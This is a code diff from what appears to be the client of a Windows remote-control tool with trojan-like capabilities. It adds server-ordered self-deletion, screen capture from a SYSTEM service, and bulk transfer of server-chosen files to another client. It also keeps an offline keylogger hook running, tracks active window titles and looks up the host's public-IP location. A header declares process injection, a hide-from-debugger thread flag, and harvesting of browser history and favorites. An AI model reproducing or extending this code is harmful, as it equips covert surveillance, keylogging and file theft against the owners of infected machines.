||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
@@ -1159,6 +1420,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
|
||||
ServiceWrapper_Uninstall();
|
||||
}
|
||||
self_del(10);
|
||||
Mprintf("======> Client uninstall \n");
|
||||
break;
|
||||
@@ -1212,6 +1476,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
|
||||
}
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
@@ -1227,6 +1495,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case CMD_FILE_SPEED: {
|
||||
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
|
||||
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
|
||||
if (ulLength >= 5) {
|
||||
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
|
||||
int durMs = szBuffer[3] | (szBuffer[4] << 8);
|
||||
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
|
||||
m_cfg->SetInt("transfer", "DurationMs", durMs);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE : {
|
||||
if (!ENABLE_FILE_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||
@@ -1294,6 +1574,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_CONNECTION: {
|
||||
if (!ENABLE_CONNECTION_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE: {
|
||||
auto typ = m_conn->ClientType();
|
||||
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
||||
@@ -1342,8 +1635,44 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SEND_FILE_V2: {
|
||||
// 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。
|
||||
EnsureV2TransferInited();
|
||||
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
||||
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
|
||||
// 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。
|
||||
// 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
|
||||
// (server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home),
|
||||
// 若不在接收端展开,RecvFileChunkV2 会按字面量建目录(如 CWD\%%USERPROFILE%%\...)。
|
||||
char* recvBuf = (char*)szBuffer;
|
||||
size_t recvLen = ulLength;
|
||||
std::vector<uint8_t> rebuilt;
|
||||
if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
|
||||
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
|
||||
if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
|
||||
// 文件名未必以 '\0' 结尾,先构造出以 '\0' 结尾的副本
|
||||
std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
|
||||
char expanded[MAX_PATH * 2] = { 0 };
|
||||
DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
|
||||
if (n > 0 && n < (DWORD)sizeof(expanded)) {
|
||||
std::string newName(expanded, n - 1); // n 含末尾 '\0'
|
||||
if (newName.size() != pkt->nameLength) {
|
||||
// 展开后长度变化,重建包:[header][展开后的 name][data]
|
||||
size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
|
||||
rebuilt.resize(newLen);
|
||||
memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
|
||||
FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
|
||||
newPkt->nameLength = newName.size();
|
||||
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
|
||||
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
|
||||
(const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
|
||||
(size_t)pkt->dataLength);
|
||||
recvBuf = (char*)rebuilt.data();
|
||||
recvLen = newLen;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
|
||||
nullptr, m_hash, m_hmac, m_MyClientID);
|
||||
if (n) {
|
||||
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
|
||||
@@ -1351,6 +1680,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_C2C_SEND_FILES: {
|
||||
// C2C 按路径清单发送:服务端指定「源端路径 + 目标端目录」,见 OnC2CSendFiles。
|
||||
OnC2CSendFiles(szBuffer, ulLength);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_CLIPBOARD_V2: {
|
||||
// C2C 剪贴板请求:被请求发送剪贴板文件到另一个客户端
|
||||
ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer;
|
||||
@@ -1626,6 +1961,182 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
|
||||
// V2 文件传输模块是进程级的(InitFileUpload/UninitFileUpload 成对),发送与接收共用一次初始化:
|
||||
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit,也不会被发送/接收两个
|
||||
// 入口各自初始化一次(第二次 Init 会重置状态并泄漏前一次的上下文)。
|
||||
void CKernelManager::EnsureV2TransferInited()
|
||||
{
|
||||
static bool s_v2Inited = false;
|
||||
if (s_v2Inited) return;
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(*m_cfg, chunkKb, durMs);
|
||||
int rc = InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
|
||||
if (rc != 0) Mprintf("[V2] InitFileUpload 返回 %d,V2 文件传输可能不可用\n", rc);
|
||||
s_v2Inited = true;
|
||||
}
|
||||
|
||||
// 收集目录下的文件与子目录(语义同 CFileManager::CollectFilesRecursiveV2:
|
||||
// 目录本身先作为一条 V2 目录项,随后是子项)。无成员依赖,主连接侧直接复用。
|
||||
static void CollectFilesForC2C(const std::string& dirPath, std::vector<std::string>& files)
|
||||
{
|
||||
std::string dirEntry = dirPath;
|
||||
while (!dirEntry.empty() && (dirEntry.back() == '\\' || dirEntry.back() == '/'))
|
||||
dirEntry.pop_back();
|
||||
if (!dirEntry.empty()) files.push_back(dirEntry);
|
||||
|
||||
WIN32_FIND_DATAA wfd;
|
||||
HANDLE hFind = FindFirstFileA((dirPath + "*.*").c_str(), &wfd);
|
||||
if (hFind == INVALID_HANDLE_VALUE) return;
|
||||
do {
|
||||
if (wfd.cFileName[0] == '.') continue;
|
||||
std::string fullPath = dirPath + wfd.cFileName;
|
||||
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
CollectFilesForC2C(fullPath + "\\", files);
|
||||
else
|
||||
files.push_back(fullPath);
|
||||
} while (FindNextFileA(hFind, &wfd));
|
||||
FindClose(hFind);
|
||||
}
|
||||
|
||||
// 展开 %VAR%(与 CFileManager 的静态 ExpandPath 同语义,展开失败返回原路径)
|
||||
static std::string ExpandPathForC2C(const char* path)
|
||||
{
|
||||
char szExpanded[MAX_PATH * 2] = { 0 };
|
||||
DWORD len = ExpandEnvironmentStringsA(path, szExpanded, (DWORD)sizeof(szExpanded));
|
||||
if (len > 0 && len < (DWORD)sizeof(szExpanded)) return szExpanded;
|
||||
return path;
|
||||
}
|
||||
|
||||
// C2C 按路径清单发送(服务端 → 源客户端)。
|
||||
// 包格式:[C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0](ANSI/936)。
|
||||
// 与 COMMAND_CLIPBOARD_V2 的差别只在文件来源:这里的路径由服务端指定,不取剪贴板/资源管理器选中项。
|
||||
// 数据由本端新开子连接上行,服务端按包内 dstClientID 原样中继到目标客户端的主连接。
|
||||
void CKernelManager::OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength < sizeof(C2CSendFilesPacket)) return;
|
||||
const C2CSendFilesPacket* req = (const C2CSendFilesPacket*)szBuffer;
|
||||
|
||||
const char* p = (const char*)szBuffer + sizeof(C2CSendFilesPacket);
|
||||
const char* end = (const char*)szBuffer + ulLength;
|
||||
std::string targetDir = (p < end) ? std::string(p) : std::string();
|
||||
p += targetDir.size() + 1;
|
||||
|
||||
std::vector<std::string> paths;
|
||||
while (p < end && *p != '\0') {
|
||||
paths.push_back(p);
|
||||
p += strlen(p) + 1;
|
||||
}
|
||||
|
||||
// 收包缓冲在 OnReceive 返回后即失效:先把要用的字段拷出来,线程里只用副本。
|
||||
const uint64_t transferID = req->transferID;
|
||||
const uint64_t dstClientID = req->dstClientID;
|
||||
std::string hash(req->hash, strnlen(req->hash, sizeof(req->hash)));
|
||||
std::string hmac(req->hmac, strnlen(req->hmac, sizeof(req->hmac)));
|
||||
|
||||
// 结果包(服务端 TOKEN_C2C_SEND_RESULT → MCP 等待线程)。任何早退都要回一包,
|
||||
// 否则服务端只能干等超时——这与 download_file 早期的「静默超时」是同一种毛病。
|
||||
auto sendResult = [&](uint32_t status, uint32_t win32err, int32_t workerRc,
|
||||
uint32_t fileCount, uint64_t totalBytes) {
|
||||
C2CSendResultPacket res = {};
|
||||
res.cmd = TOKEN_C2C_SEND_RESULT;
|
||||
res.transferID = transferID;
|
||||
res.dstClientID = dstClientID;
|
||||
res.status = status;
|
||||
res.win32err = win32err;
|
||||
res.workerRc = workerRc;
|
||||
res.fileCount = fileCount;
|
||||
res.totalBytes = totalBytes;
|
||||
m_ClientObject->Send2Server((char*)&res, sizeof(res));
|
||||
};
|
||||
|
||||
// FileBatchTransferWorkerV2 依赖 g_status==1(InitFileUpload 已调用),否则直接返回 -1。
|
||||
// 源端可能从未打开过文件管理器、也从未接收过上传,所以这里必须显式初始化。
|
||||
EnsureV2TransferInited();
|
||||
|
||||
if (paths.empty() || targetDir.empty()) {
|
||||
Mprintf("[C2C] 路径清单发送请求非法: transferID=%llu, paths=%zu, targetDir=%s\n",
|
||||
transferID, paths.size(), targetDir.c_str());
|
||||
sendResult(FEV2_FILE_NOT_FOUND, ERROR_INVALID_PARAMETER, 0, 0, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
// 收集文件:展开环境变量、递归展开目录(目录项本身也发给目标端,用于建空目录)
|
||||
std::vector<std::string> allFiles;
|
||||
DWORD dwFirstErr = 0;
|
||||
for (const std::string& raw : paths) {
|
||||
std::string localPath = ExpandPathForC2C(raw.c_str());
|
||||
DWORD attrs = GetFileAttributesA(localPath.c_str());
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
if (dwFirstErr == 0) dwFirstErr = GetLastError();
|
||||
Mprintf("[C2C] 源路径不可访问: %s (win32=%lu)\n", localPath.c_str(), dwFirstErr);
|
||||
continue;
|
||||
}
|
||||
if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
|
||||
std::string dirPath = localPath;
|
||||
if (dirPath.back() != '\\') dirPath += '\\';
|
||||
CollectFilesForC2C(dirPath, allFiles);
|
||||
} else {
|
||||
allFiles.push_back(localPath);
|
||||
}
|
||||
}
|
||||
|
||||
if (allFiles.empty()) {
|
||||
sendResult(FEV2_FILE_NOT_FOUND,
|
||||
dwFirstErr ? dwFirstErr : (DWORD)ERROR_FILE_NOT_FOUND, 0, 0, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
// 统计(目录项不计入 fileCount/totalBytes)
|
||||
uint32_t fileCount = 0;
|
||||
uint64_t totalBytes = 0;
|
||||
for (const std::string& f : allFiles) {
|
||||
WIN32_FILE_ATTRIBUTE_DATA fad;
|
||||
if (!GetFileAttributesExA(f.c_str(), GetFileExInfoStandard, &fad)) continue;
|
||||
if (fad.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue;
|
||||
fileCount++;
|
||||
totalBytes += ((uint64_t)fad.nFileSizeHigh << 32) | fad.nFileSizeLow;
|
||||
}
|
||||
|
||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
|
||||
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
if (!pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||
delete pClient;
|
||||
Mprintf("[C2C] 连接服务器失败\n");
|
||||
sendResult(1001, 0, -1, 0, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
TransferOptionsV2 opts;
|
||||
opts.transferID = transferID;
|
||||
opts.srcClientID = m_MyClientID;
|
||||
opts.dstClientID = dstClientID;
|
||||
opts.enableResume = false; // v1 不做断点续传:失败即整包重发(目标端状态按 transferID 索引)
|
||||
|
||||
std::thread([allFiles, targetDir, pClient, opts, hash, hmac,
|
||||
transferID, dstClientID, fileCount, totalBytes]() {
|
||||
int rc = FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
|
||||
[](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool {
|
||||
IOCPClient* client = (IOCPClient*)user;
|
||||
return client->Send2Server((char*)data, size) != FALSE;
|
||||
},
|
||||
nullptr, hash, hmac, opts);
|
||||
|
||||
C2CSendResultPacket res = {};
|
||||
res.cmd = TOKEN_C2C_SEND_RESULT;
|
||||
res.transferID = transferID;
|
||||
res.dstClientID = dstClientID;
|
||||
res.status = (rc == 0) ? (uint32_t)FEV2_OK : (uint32_t)1001;
|
||||
res.win32err = 0;
|
||||
res.workerRc = (int32_t)rc;
|
||||
res.fileCount = fileCount;
|
||||
res.totalBytes = totalBytes;
|
||||
pClient->Send2Server((char*)&res, sizeof(res));
|
||||
delete pClient;
|
||||
Mprintf("[C2C] 路径清单发送结束: transferID=%llu, %u 个文件, rc=%d\n",
|
||||
transferID, fileCount, rc);
|
||||
}).detach();
|
||||
}
|
||||
|
||||
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength > 8) {
|
||||
|
||||
@@ -40,6 +40,24 @@ public:
|
||||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
|
||||
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
|
||||
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return std::string();
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
|
||||
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
|
||||
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
|
||||
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
|
||||
{
|
||||
if (GetUserIdleTime() >= threshold_ms)
|
||||
return NULL;
|
||||
return GetForegroundWindow();
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
@@ -182,6 +200,11 @@ public:
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
uint64_t m_MyClientID = 0;
|
||||
// COMMAND_C2C_SEND_FILES:按服务端指定的路径清单把文件直接发给另一个客户端。
|
||||
// 包格式 [C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0],结果用 TOKEN_C2C_SEND_RESULT 回传。
|
||||
void OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength);
|
||||
// 进程级 V2 文件传输模块初始化(幂等),发送与接收两条路径共用。
|
||||
void EnsureV2TransferInited();
|
||||
// 执行代码
|
||||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
void SetLoginMsg(const std::string& msg)
|
||||
|
||||
@@ -679,6 +679,10 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||
return -1;
|
||||
}
|
||||
// 低层键盘钩子的回调在本线程的消息泵里执行,所以只要钩子还装着就必须泵消息。
|
||||
// 离线记录时即使没有键盘子连接钩子也常驻;此前要求 IsConnected() 才泵,
|
||||
// 等于在输入链上挂一个永不返回的钩子(每个按键被 LowLevelHooksTimeout 卡住),
|
||||
// 同机的 YAMA 钩子收不到完整按键对,Win 快捷键与 Ctrl+V 转发失效。
|
||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
#else
|
||||
int num = lstrlen(KeyBuffer);
|
||||
|
||||
+56
-10
@@ -289,6 +289,35 @@ uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normal
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
// 撞 ID 的克隆机重生成 client_id:在旧 ID 基础上掺一个一次性随机 UUID 再哈希。
|
||||
// 只在服务端判定「主机名不同却撞 ID」后下发 COMMAND_REGEN_CLIENT_ID 触发,不影响
|
||||
// 正常(首次)登录的 CalcalateIDv2 算法;唯一性由随机 UUID 保证,同批克隆机各自
|
||||
// 随机,重算后必然不同。
|
||||
uint64_t RegenerateClientID(uint64_t oldID)
|
||||
{
|
||||
// 16 字节随机数充当一次性 UUID(RtlGenRandom = advapi32 SystemFunction036)。
|
||||
unsigned char rnd[16] = {};
|
||||
if (!RtlGenRandom(rnd, (ULONG)sizeof(rnd))) {
|
||||
// 极少数环境 RtlGenRandom 可能失败:退化为时间/进程/线程/性能计数混合的 LCG,
|
||||
// 保证仍能产出与旧 ID 不同的新 ID(不追求密码学强度,只需撞车概率足够低)。
|
||||
uint64_t mix = GetTickCount64() ^ ((uint64_t)GetCurrentProcessId() << 32)
|
||||
^ (uint64_t)GetCurrentThreadId();
|
||||
LARGE_INTEGER pc;
|
||||
QueryPerformanceCounter(&pc);
|
||||
mix ^= (uint64_t)pc.QuadPart;
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
mix = mix * 6364136223846793005ULL + 1442695040888963407ULL;
|
||||
rnd[i] = (unsigned char)(mix >> 56);
|
||||
}
|
||||
}
|
||||
char hex[33];
|
||||
for (int i = 0; i < 16; ++i)
|
||||
sprintf_s(hex + i * 2, 3, "%02X", (unsigned)rnd[i]);
|
||||
hex[32] = '\0';
|
||||
std::string seed = std::to_string(oldID) + "|" + hex;
|
||||
return XXH64(seed.c_str(), seed.size(), 0);
|
||||
}
|
||||
|
||||
BOOL IsAuthKernel(std::string &str) {
|
||||
BOOL isAuthKernel = FALSE;
|
||||
std::string pid = std::to_string(GetCurrentProcessId());
|
||||
@@ -378,13 +407,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
auto ip_time = cfg.GetInt("settings", "ip_time");
|
||||
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
||||
// 升级后强制重新查询一次:旧版缓存的 location 是 GBK/CP1252,或已把 ö/ä/ß 等替换成 '?';
|
||||
// 新版 GetGeoLocation 改为 UTF-8 上报(见 common/location.h),需重新拉取才能修正。
|
||||
// 版本号即编译日期 __DATE__(见 common/commands.h 的 DLL_VERSION):编译期宏,内存 DLL
|
||||
// 也能取到,且每次编译都会变,天然标识“升级”,无需手动递增,也不依赖 exe 版本资源。
|
||||
bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
|
||||
IPConverter cvt;
|
||||
if (loc.empty() || pubIP.empty() || timeout) {
|
||||
pubIP = cvt.getPublicIP();
|
||||
loc = cvt.GetGeoLocation(pubIP);
|
||||
cfg.SetStr("settings", "location", loc);
|
||||
cfg.SetStr("settings", "public_ip", pubIP);
|
||||
cfg.SetInt("settings", "ip_time", time(0));
|
||||
if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
|
||||
std::string newPubIP = pubIP;
|
||||
// 升级重查 location 时复用已缓存的公网 IP;仅当 IP 缺失或 7 天过期才重新探测,
|
||||
// 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
|
||||
if (pubIP.empty() || timeout) {
|
||||
newPubIP = cvt.getPublicIP();
|
||||
}
|
||||
std::string newLoc = cvt.GetGeoLocation(newPubIP);
|
||||
// 仅查询成功才覆盖缓存并推进版本号;失败保留旧值,下次登录仍会重试。
|
||||
if (!newLoc.empty() && !newPubIP.empty()) {
|
||||
pubIP = newPubIP;
|
||||
loc = newLoc;
|
||||
cfg.SetStr("settings", "location", loc);
|
||||
cfg.SetStr("settings", "public_ip", pubIP);
|
||||
cfg.SetInt("settings", "ip_time", time(0));
|
||||
cfg.SetStr("settings", "loc_cache_ver", __DATE__);
|
||||
}
|
||||
}
|
||||
LoginInfor.AddReserved(loc.c_str());
|
||||
LoginInfor.AddReserved(pubIP.c_str());
|
||||
@@ -396,13 +441,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||
std::string clientID = cfg.GetStr("settings", "client_id");
|
||||
if (clientID.empty()) {
|
||||
// V2 ID 算法:MachineGuid + 归一化路径
|
||||
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
||||
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
||||
// V2 ID 算法:MachineGuid + 主机名 + 归一化路径
|
||||
// - 主机名兜底区分同镜像克隆机:MachineGuid 相同、路径相同仍能靠主机名区分。
|
||||
// - 代价:改名会让 client_id 变化,丢该主机的备注/授权/历史;主机名非硬件唯一,重名仍撞。
|
||||
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||
std::string machineGuid = GetMachineGuidWindows();
|
||||
if (!machineGuid.empty()) {
|
||||
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
|
||||
conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
|
||||
} else {
|
||||
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
@@ -428,6 +473,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
|
||||
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
|
||||
LoginInfor.AddReserved(fileSize); // 文件大小
|
||||
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
|
||||
std::string GetMachineGuidWindows();
|
||||
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
|
||||
uint64_t RegenerateClientID(uint64_t oldID);
|
||||
BOOL IsAuthKernel(std::string& str);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
|
||||
DWORD CPUClockMHz();
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,203 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <Iphlpapi.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <map>
|
||||
#include <WINSOCK2.H>
|
||||
#include "yapi.hpp"
|
||||
|
||||
#pragma comment(lib, "Iphlpapi.lib")
|
||||
#pragma comment(lib, "WS2_32.lib")
|
||||
|
||||
#include <taskschd.h>
|
||||
#include <comutil.h>
|
||||
#pragma comment(lib, "taskschd.lib")
|
||||
#pragma comment(lib, "comsupp.lib")
|
||||
|
||||
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
|
||||
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
|
||||
|
||||
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
|
||||
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
|
||||
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
|
||||
|
||||
class CMachineManager : public CManager
|
||||
{
|
||||
public:
|
||||
BOOL m_bUse;
|
||||
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CMachineManager();
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
private:
|
||||
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
|
||||
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
|
||||
HWND GetHwndByPid(DWORD dwProcessID);
|
||||
bool Is64BitOS();
|
||||
bool Is64BitPorcess(DWORD dwProcessID);
|
||||
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName, int nSize);
|
||||
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
|
||||
void DeleteService(LPBYTE lpBuffer, UINT nSize);
|
||||
void MyControlService(LPBYTE lpBuffer, UINT nType);
|
||||
|
||||
void SendProcessList();
|
||||
LPBYTE getProcessList(); //进程
|
||||
|
||||
void SendWindowsList();
|
||||
LPBYTE getWindowsList(); //窗口
|
||||
|
||||
void SendNetStateList();
|
||||
LPBYTE getNetStateList();
|
||||
|
||||
void SendSoftWareList();
|
||||
LPBYTE getSoftWareList(); //软件列表
|
||||
|
||||
void SendIEHistoryList();
|
||||
LPBYTE getIEHistoryList(); // 浏览记录
|
||||
|
||||
void SendFavoritesUrlList();
|
||||
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
|
||||
LPBYTE getFavoritesUrlList(); //收藏夹
|
||||
|
||||
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
|
||||
LPBYTE getServiceList(DWORD dwScType);
|
||||
|
||||
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
|
||||
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
|
||||
PBYTE GetRoot(); //获取根目录下的子文件夹
|
||||
|
||||
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
|
||||
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
|
||||
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
|
||||
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
|
||||
void SaveData(const std::string& taskname, const std::string& path,
|
||||
const std::string& exepath, const std::string& status,
|
||||
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
|
||||
DWORD m_dwServiceType;
|
||||
|
||||
void SendHostsList();
|
||||
|
||||
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
|
||||
|
||||
void SendError(const char* Terror);
|
||||
};
|
||||
|
||||
struct Browsinghistory {
|
||||
char strTime[100];
|
||||
char strTitle[1024];
|
||||
char strUrl[1024];
|
||||
};
|
||||
|
||||
|
||||
typedef struct {
|
||||
DWORD dwState; // 连接状态
|
||||
DWORD dwLocalAddr; // 本地地址
|
||||
DWORD dwLocalPort; // 本地端口
|
||||
DWORD dwRemoteAddr; // 远程地址
|
||||
DWORD dwRemotePort; // 远程端口
|
||||
